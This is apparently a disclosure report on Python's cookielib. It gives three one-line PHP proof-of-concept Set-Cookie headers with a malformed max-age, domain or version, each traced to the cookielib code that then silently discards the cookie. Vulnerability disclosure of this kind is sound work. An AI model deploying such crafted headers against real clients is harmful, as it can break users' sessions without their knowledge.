PoC (PHP Version):

 header('Set-Cookie: test=123; max-age=a');  //  PoC 1
 header('Set-Cookie: test=123; domain=;');  //  PoC 2
 header('Set-Cookie: test=123; version=a;');  //  PoC 3

PoC 1 will trigger int() convert string to number from max-age (lib/cookielib.py:1429).I give this value a string ,it will make except 

        try:
            v = int(v)                 #  lib/cookielib.py:1429
        except ValueError:
            _debug("   missing or invalid (non-numeric) value for "
                  "max-age attribute")
            bad_cookie = True
            break                      #  lib/cookielib.py:1434

PoC 2 is a domain None value (lib/cookielib.py:1412).Cookielib will discard current cookie record.
    if k == "domain":                  #  lib/cookielib.py:1411
        if v is None:                  #  lib/cookielib.py:1412
            _debug("   missing value for domain attribute")
            bad_cookie = True
            break                      #  lib/cookielib.py:1415

PoC 3 will trigger a int() convert except(lib/cookielib.py:1472).Cookielib will discard current cookie record too.
        version = standard.get("version", None)  #  lib/cookielib.py:1469
        if version is not None:
            try:
                version = int(version)  #  lib/cookielib.py:1472
            except ValueError:
                return None  # invalid version, ignore cookie

There are PoCs involve urllib and requests library .

Full Code Analysis (Chinese Version): https://github.com/lcatro/Python_CookieLib_0day